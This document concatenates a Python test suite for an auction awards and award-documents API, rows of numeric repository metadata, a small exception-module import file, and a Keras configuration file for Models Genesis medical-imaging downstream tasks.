self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertIn('Location', response.headers)
new_award_location = response.headers['Location']
response = self.app.get(request_path)
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 2)
self.assertIn(response.json['data'][1]['id'], new_award_location)
new_award = response.json['data'][-1]
self.upload_auction_protocol(self.second_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.set_status('complete')
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, self.second_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']["value"]["amount"], 200)
def test_unsuccessful_auction1(self):
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token=1'.format(self.auction_id, self.second_award_id), {"data": {"status": "cancelled"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Only bid owner may cancel award in current (pending.waiting) status', u'location':
u'body', u'name': u'data'}
])
bid_token = self.initial_bids_tokens[self.first_award['bid_id']]
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, bid_token), {"data": {"status": "cancelled"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'unsuccessful')
def test_unsuccessful_auction2(self):
bid_token = self.initial_bids_tokens[self.first_award['bid_id']]
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, bid_token), {"data": {"status": "cancelled"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'unsuccessful')
def test_unsuccessful_auction3(self):
bid_token = self.initial_bids_tokens[self.first_award['bid_id']]
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, bid_token), {"data": {"status": "cancelled"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'unsuccessful')
def test_unsuccessful_auction4(self):
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
bid_token = self.initial_bids_tokens[self.first_award['bid_id']]
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, bid_token), {"data": {"status": "cancelled"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'unsuccessful')
def test_unsuccessful_auction5(self):
self.upload_auction_protocol(self.first_award)
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "pending.payment"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "active"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
bid_token = self.initial_bids_tokens[self.first_award['bid_id']]
response = self.app.patch_json('/auctions/{}/awards/{}?acc_token={}'.format(self.auction_id, self.second_award_id, bid_token), {"data": {"status": "cancelled"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.patch_json('/auctions/{}/awards/{}'.format(self.auction_id, self.first_award_id), {"data": {"status": "unsuccessful"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'unsuccessful')
def test_get_auction_awards(self):
response = self.app.get('/auctions/{}/awards'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(len(response.json['data']), 2)
fist_award = response.json['data'][0]
second_award = response.json['data'][1]
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, fist_award['id']))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'pending.verification')
self.assertIn('verificationPeriod', response.json['data'])
response = self.app.get('/auctions/{}/awards/{}'.format(self.auction_id, second_award['id']))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['data']['status'], 'pending.waiting')
response = self.app.get('/auctions/{}/awards/some_id'.format(self.auction_id), status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.get('/auctions/some_id/awards/some_id', status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
class InsiderAuctionAwardDocumentResourceTest(BaseInsiderAuctionWebTest):
initial_status = 'active.auction'
initial_bids = test_financial_bids
def setUp(self):
super(InsiderAuctionAwardDocumentResourceTest, self).setUp()
authorization = self.app.authorization
self.app.authorization = ('Basic', ('auction', ''))
now = get_now()
response = self.app.get('/auctions/{}'.format(self.auction_id))
self.assertEqual(response.status, '200 OK')
auction = response.json['data']
value_threshold = auction['value']['amount'] + auction['minimalStep']['amount']
now = get_now()
auction_result = {
'bids': [
{
"id": b['id'],
"date": (now - timedelta(seconds=i)).isoformat(),
"value": {"amount": value_threshold * 2},
}
for i, b in enumerate(self.initial_bids)
]
}
response = self.app.post_json('/auctions/{}/auction'.format(self.auction_id), {'data': auction_result})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
auction = response.json['data']
self.assertEqual('active.qualification', auction["status"])
self.first_award = auction['awards'][0]
self.second_award = auction['awards'][1]
self.first_award_id = self.first_award['id']
self.second_award_id = self.second_award['id']
self.app.authorization = authorization
def test_not_found(self):
response = self.app.post('/auctions/some_id/awards/some_id/documents', status=404, upload_files=[
('file', 'name.doc', 'content')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.post('/auctions/{}/awards/some_id/documents'.format(self.auction_id), status=404, upload_files=[('file', 'name.doc', 'content')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.post('/auctions/{}/awards/{}/documents'.format(self.auction_id, self.first_award_id), status=404, upload_files=[
('invalid_value', 'name.doc', 'content')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'body', u'name': u'file'}
])
response = self.app.get('/auctions/some_id/awards/some_id/documents', status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.get('/auctions/{}/awards/some_id/documents'.format(self.auction_id), status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.get('/auctions/some_id/awards/some_id/documents/some_id', status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.get('/auctions/{}/awards/some_id/documents/some_id'.format(self.auction_id), status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.get('/auctions/{}/awards/{}/documents/some_id'.format(self.auction_id, self.first_award_id), status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'document_id'}
])
response = self.app.put('/auctions/some_id/awards/some_id/documents/some_id', status=404,
upload_files=[('file', 'name.doc', 'content2')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'auction_id'}
])
response = self.app.put('/auctions/{}/awards/some_id/documents/some_id'.format(self.auction_id), status=404,
upload_files=[('file', 'name.doc', 'content2')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'url', u'name': u'award_id'}
])
response = self.app.put('/auctions/{}/awards/{}/documents/some_id'.format(
self.auction_id, self.first_award_id), status=404, upload_files=[('file', 'name.doc', 'content2')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location': u'url', u'name': u'document_id'}
])
def test_create_auction_award_document(self):
response = self.app.post('/auctions/{}/awards/{}/documents'.format(
self.auction_id, self.first_award_id), upload_files=[('file', 'name.doc', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
self.assertEqual('name.doc', response.json["data"]["title"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.get('/auctions/{}/awards/{}/documents'.format(self.auction_id, self.first_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"][0]["id"])
self.assertEqual('name.doc', response.json["data"][0]["title"])
response = self.app.get('/auctions/{}/awards/{}/documents?all=true'.format(self.auction_id, self.first_award_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"][0]["id"])
self.assertEqual('name.doc', response.json["data"][0]["title"])
response = self.app.get('/auctions/{}/awards/{}/documents/{}?download=some_id'.format(
self.auction_id, self.first_award_id, doc_id), status=404)
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location': u'url', u'name': u'download'}
])
response = self.app.get('/auctions/{}/awards/{}/documents/{}?{}'.format(
self.auction_id, self.first_award_id, doc_id, key))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/msword')
self.assertEqual(response.content_length, 7)
self.assertEqual(response.body, 'content')
response = self.app.get('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual('name.doc', response.json["data"]["title"])
self.set_status('complete')
response = self.app.post('/auctions/{}/awards/{}/documents'.format(
self.auction_id, self.first_award_id), upload_files=[('file', 'name.doc', 'content')], status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't add document in current (complete) auction status")
def test_put_auction_award_document(self):
response = self.app.post('/auctions/{}/awards/{}/documents'.format(
self.auction_id, self.first_award_id), upload_files=[('file', 'name.doc', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
response = self.app.put('/auctions/{}/awards/{}/documents/{}'.format(self.auction_id, self.first_award_id, doc_id),
status=404,
upload_files=[('invalid_name', 'name.doc', 'content')])
self.assertEqual(response.status, '404 Not Found')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['status'], 'error')
self.assertEqual(response.json['errors'], [
{u'description': u'Not Found', u'location':
u'body', u'name': u'file'}
])
response = self.app.put('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id), upload_files=[('file', 'name.doc', 'content2')])
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.get('/auctions/{}/awards/{}/documents/{}?{}'.format(
self.auction_id, self.first_award_id, doc_id, key))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/msword')
self.assertEqual(response.content_length, 8)
self.assertEqual(response.body, 'content2')
response = self.app.get('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual('name.doc', response.json["data"]["title"])
response = self.app.put('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id), 'content3', content_type='application/msword')
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
key = response.json["data"]["url"].split('?')[-1]
response = self.app.get('/auctions/{}/awards/{}/documents/{}?{}'.format(
self.auction_id, self.first_award_id, doc_id, key))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/msword')
self.assertEqual(response.content_length, 8)
self.assertEqual(response.body, 'content3')
self.set_status('complete')
response = self.app.put('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id), upload_files=[('file', 'name.doc', 'content3')], status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't update document in current (complete) auction status")
def test_patch_auction_award_document(self):
response = self.app.post('/auctions/{}/awards/{}/documents'.format(
self.auction_id, self.first_award_id), upload_files=[('file', 'name.doc', 'content')])
self.assertEqual(response.status, '201 Created')
self.assertEqual(response.content_type, 'application/json')
doc_id = response.json["data"]['id']
self.assertIn(doc_id, response.headers['Location'])
response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}'.format(self.auction_id, self.first_award_id, doc_id), {"data": {"description": "document description"}})
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
response = self.app.get('/auctions/{}/awards/{}/documents/{}'.format(
self.auction_id, self.first_award_id, doc_id))
self.assertEqual(response.status, '200 OK')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(doc_id, response.json["data"]["id"])
self.assertEqual('document description', response.json["data"]["description"])
self.set_status('complete')
response = self.app.patch_json('/auctions/{}/awards/{}/documents/{}'.format(self.auction_id, self.first_award_id, doc_id), {"data": {"description": "document description"}}, status=403)
self.assertEqual(response.status, '403 Forbidden')
self.assertEqual(response.content_type, 'application/json')
self.assertEqual(response.json['errors'][0]["description"], "Can't update document in current (complete) auction status")
def suite():
suite = unittest.TestSuite()
suite.addTest(unittest.makeSuite(InsiderAuctionCreateAwardTest))
suite.addTest(unittest.makeSuite(InsiderAuctionAwardProcessTest))
suite.addTest(unittest.makeSuite(InsiderAuctionAwardDocumentResourceTest))
return suite
if __name__ == '__main__':
unittest.main(defaultTest='suite')
| 59.57166
| 299
| 0.660464
| 8,405
| 73,571
| 5.648899
| 0.025461
| 0.159544
| 0.220898
| 0.101392
| 0.952842
| 0.94783
| 0.932223
| 0.925167
| 0.913267
| 0.909939
| 0
| 0.013357
| 0.170624
| 73,571
| 1,234
| 300
| 59.619935
| 0.764758
| 0.000652
| 0
| 0.799407
| 0
| 0
| 0.264976
| 0.056284
| 0
| 0
| 0
| 0
| 0.529644
| 1
| 0.022727
| false
| 0
| 0.003953
| 0
| 0.036561
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
bb3ddb5075223378c6a9c549d13244c9e70f551a
| 125
|
py
|
Python
|
phantasy/library/exception/__init__.py
|
phantasy-project/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | null | null | null |
phantasy/library/exception/__init__.py
|
phantasy-project/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | 1
|
2021-11-10T14:56:41.000Z
|
2021-11-10T14:56:41.000Z
|
phantasy/library/exception/__init__.py
|
archman/phantasy
|
ac362cd3a80f7d1cfc68c0722f8a4aad504d1edd
|
[
"BSD-3-Clause"
] | 1
|
2018-09-27T17:03:32.000Z
|
2018-09-27T17:03:32.000Z
|
from .err import CSVFormatError, DataError
from .exceptions import TimeoutError
from .exceptions import PutFinishedException
| 31.25
| 44
| 0.864
| 13
| 125
| 8.307692
| 0.615385
| 0.259259
| 0.37037
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104
| 125
| 3
| 45
| 41.666667
| 0.964286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
bb4d0348474ba0aab39165e5a9d870708d7ccbb4
| 13,511
|
py
|
Python
|
keras/downstream_tasks/config.py
|
joeranbosma/ModelsGenesis
|
24ae94cbc1b2ae15d95771f249d6443369ba0742
|
[
"MIT"
] | 574
|
2019-10-01T02:30:56.000Z
|
2022-03-29T07:34:08.000Z
|
keras/downstream_tasks/config.py
|
joeranbosma/ModelsGenesis
|
24ae94cbc1b2ae15d95771f249d6443369ba0742
|
[
"MIT"
] | 52
|
2019-10-11T02:43:21.000Z
|
2022-03-14T03:10:57.000Z
|
keras/downstream_tasks/config.py
|
joeranbosma/ModelsGenesis
|
24ae94cbc1b2ae15d95771f249d6443369ba0742
|
[
"MIT"
] | 143
|
2019-10-01T13:38:10.000Z
|
2022-03-29T02:26:04.000Z
|
import os
import shutil
import csv
import random
class bms_config:
arch = 'Vnet'
# data
data = '/mnt/dataset/shared/zongwei/BraTS'
csv = "data/bms"
deltr = 30
input_rows = 64
input_cols = 64
input_deps = 32
crop_rows = 100
crop_cols = 100
crop_deps = 50
# model
optimizer = 'adam'
lr = 1e-3
patience = 30
verbose = 1
batch_size = 16
workers = 1
max_queue_size = workers * 1
nb_epoch = 10000
def __init__(self, args):
self.exp_name = self.arch + '-' + args.suffix
if args.data is not None:
self.data = args.data
if args.suffix == 'random':
self.weights = None
elif args.suffix == 'genesis':
self.weights = 'pretrained_weights/Genesis_Chest_CT.h5'
elif args.suffix == 'genesis-autoencoder':
self.weights = 'pretrained_weights/Genesis_Chest_CT-autoencoder.h5'
elif args.suffix == 'genesis-nonlinear':
self.weights = 'pretrained_weights/Genesis_Chest_CT-nonlinear.h5'
elif args.suffix == 'genesis-localshuffling':
self.weights = 'pretrained_weights/Genesis_Chest_CT-localshuffling.h5'
elif args.suffix == 'genesis-outpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-outpainting.h5'
elif args.suffix == 'genesis-inpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-inpainting.h5'
elif args.suffix == 'denoisy':
self.weights = 'pretrained_weights/denoisy.h5'
elif args.suffix == 'patchshuffling':
self.weights = 'pretrained_weights/patchshuffling.h5'
elif args.suffix == 'hg':
self.weights = 'pretrained_weights/hg.h5'
else:
raise
train_ids = self._load_csv(os.path.join(self.csv, "fold_1.csv")) + self._load_csv(os.path.join(self.csv, "fold_2.csv"))
random.Random(4).shuffle(train_ids)
self.validation_ids = train_ids[:len(train_ids) // 8]
self.train_ids = train_ids[len(train_ids) // 8:]
self.test_ids = self._load_csv(os.path.join(self.csv, "fold_3.csv"))
self.num_train = len(self.train_ids)
self.num_validation = len(self.validation_ids)
self.num_test = len(self.test_ids)
# logs
self.model_path = os.path.join("models/bms", "run_"+str(args.run))
if not os.path.exists(self.model_path):
os.makedirs(self.model_path)
self.logs_path = os.path.join(self.model_path, "logs")
if not os.path.exists(self.logs_path):
os.makedirs(self.logs_path)
def _load_csv(self, foldfile=None):
assert foldfile is not None
patient_ids = []
with open(foldfile, 'r') as f:
reader = csv.reader(f, lineterminator='\n')
patient_ids.extend(reader)
for i, item in enumerate(patient_ids):
patient_ids[i] = item[0]
return patient_ids
def display(self):
"""Display Configuration values."""
print("\nConfigurations:")
for a in dir(self):
if not a.startswith("__") and not callable(getattr(self, a)) and not '_ids' in a:
print("{:30} {}".format(a, getattr(self, a)))
print("\n")
class ecc_config:
arch = 'Vnet'
# data
data = '/mnt/dfs/zongwei/Academic/MICCAI2020/Genesis_PE/dataset/augdata/VOIR'
csv = "data/ecc"
clip_min = -1000
clip_max = 1000
input_rows = 64
input_cols = 64
input_deps = 64
# model
optimizer = 'adam'
lr = 1e-3
patience = 38
verbose = 1
batch_size = 24
workers = 1
max_queue_size = workers * 1
nb_epoch = 10000
num_classes = 1
verbose = 1
def __init__(self, args=None):
self.exp_name = self.arch + '-' + args.suffix + '-cv-' + str(args.cv)
if args.data is not None:
self.data = args.data
if args.suffix == 'random':
self.weights = None
elif args.suffix == 'genesis':
self.weights = 'pretrained_weights/Genesis_Chest_CT.h5'
elif args.suffix == 'genesis-autoencoder':
self.weights = 'pretrained_weights/Genesis_Chest_CT-autoencoder.h5'
elif args.suffix == 'genesis-nonlinear':
self.weights = 'pretrained_weights/Genesis_Chest_CT-nonlinear.h5'
elif args.suffix == 'genesis-localshuffling':
self.weights = 'pretrained_weights/Genesis_Chest_CT-localshuffling.h5'
elif args.suffix == 'genesis-outpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-outpainting.h5'
elif args.suffix == 'genesis-inpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-inpainting.h5'
elif args.suffix == 'denoisy':
self.weights = 'pretrained_weights/denoisy.h5'
elif args.suffix == 'patchshuffling':
self.weights = 'pretrained_weights/patchshuffling.h5'
elif args.suffix == 'hg':
self.weights = 'pretrained_weights/hg.h5'
else:
raise
# logs
assert args.subsetting is not None
self.model_path = os.path.join("models/ecc", "run_"+str(args.run), args.subsetting)
if not os.path.exists(self.model_path):
os.makedirs(self.model_path)
self.logs_path = os.path.join(self.model_path, "logs")
if not os.path.exists(self.logs_path):
os.makedirs(self.logs_path)
self.patch_csv_path = 'Patch-20mm-cv-'+str(args.cv)+'-features_output_2_iter-100000.csv'
self.candidate_csv_path = 'Candidate-20mm-cv-'+str(args.cv)+'-features_output_2_iter-100000.csv'
self.csv_froc = 'features_output_2_iter-100000.csv'
def display(self):
print("Configurations")
for a in dir(self):
if not a.startswith("__") and not callable(getattr(self,a)):
print("{:30} {}".format(a,getattr(self,a)))
#print("\n")
class ncc_config:
arch = 'Vnet'
# data
data = '/mnt/dataset/shared/zongwei/LUNA16/LUNA16_FPR_32x32x32'
train_fold=[0,1,2,3,4]
valid_fold=[5,6]
test_fold=[7,8,9]
hu_min = -1000
hu_max = 1000
input_rows = 64
input_cols = 64
input_deps = 32
# model
optimizer = 'adam'
lr = 1e-3
patience = 10
verbose = 1
batch_size = 24
workers = 1
max_queue_size = workers * 1
nb_epoch = 10000
num_classes = 1
verbose = 1
def __init__(self, args=None):
self.exp_name = self.arch + '-' + args.suffix
if args.data is not None:
self.data = args.data
if args.suffix == 'random':
self.weights = None
elif args.suffix == 'genesis':
self.weights = 'pretrained_weights/Genesis_Chest_CT.h5'
elif args.suffix == 'genesis-autoencoder':
self.weights = 'pretrained_weights/Genesis_Chest_CT-autoencoder.h5'
elif args.suffix == 'genesis-nonlinear':
self.weights = 'pretrained_weights/Genesis_Chest_CT-nonlinear.h5'
elif args.suffix == 'genesis-localshuffling':
self.weights = 'pretrained_weights/Genesis_Chest_CT-localshuffling.h5'
elif args.suffix == 'genesis-outpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-outpainting.h5'
elif args.suffix == 'genesis-inpainting':
self.weights = 'pretrained_weights/Genesis_Chest_CT-inpainting.h5'
elif args.suffix == 'denoisy':
self.weights = 'pretrained_weights/denoisy.h5'
elif args.suffix == 'patchshuffling':
self.weights = 'pretrained_weights/patchshuffling.h5'
elif args.suffix == 'hg':
self.weights = 'pretrained_weights/hg.h5'
else:
raise
# logs
self.model_path = os.path.join("models/ncc", "run_"+str(args.run))
if not os.path.exists(self.model_path):
os.makedirs(self.model_path)
self.logs_path = os.path.join(self.model_path, "logs")
if not os.path.exists(self.logs_path):
os.makedirs(self.logs_path)
def display(self):
print("Configurations")
for a in dir(self):
if not a.startswith("__") and not callable(getattr(self,a)):
print("{:30} {}".format(a,getattr(self,a)))
#print("\n")
class ncs_config:
arch = 'Vnet'
# data
data = '/mnt/dataset/shared/zongwei/LIDC'
input_rows = 64
input_cols = 64
input_deps = 32
# model
optimizer = 'adam'
lr = 1e-3
patience = 50
verbose = 1
batch_size = 16
workers = 1
max_queue_size = workers * 1
nb_epoch = 10000
def __init__(self, args):
self.exp_name = self.arch + '-' + args.suffix
if args.data is not None:
self.data = args.data
if args.suffix == 'random':
self.weights = None
elif args.suffix == 'genesis':
self.weights = 'pretrained_weights/Genesis_Chest_CT.h5'
elif args.suffix == 'genesis-autoencoder':
self.weights = 'pretrained_weights/Genesis_Chest_CT-autoencoder.h5'
elif args.suffix == 'genesis-nonlinear':
self.weights = 'pretrained_weights/Genesis_Chest_CT-nonlinear.h5'
elif args.suffix == 'genesis-localshuffling':
self.weights = 'pretrained_weights/Genesis_Chest_CT-localshuffling.h5'
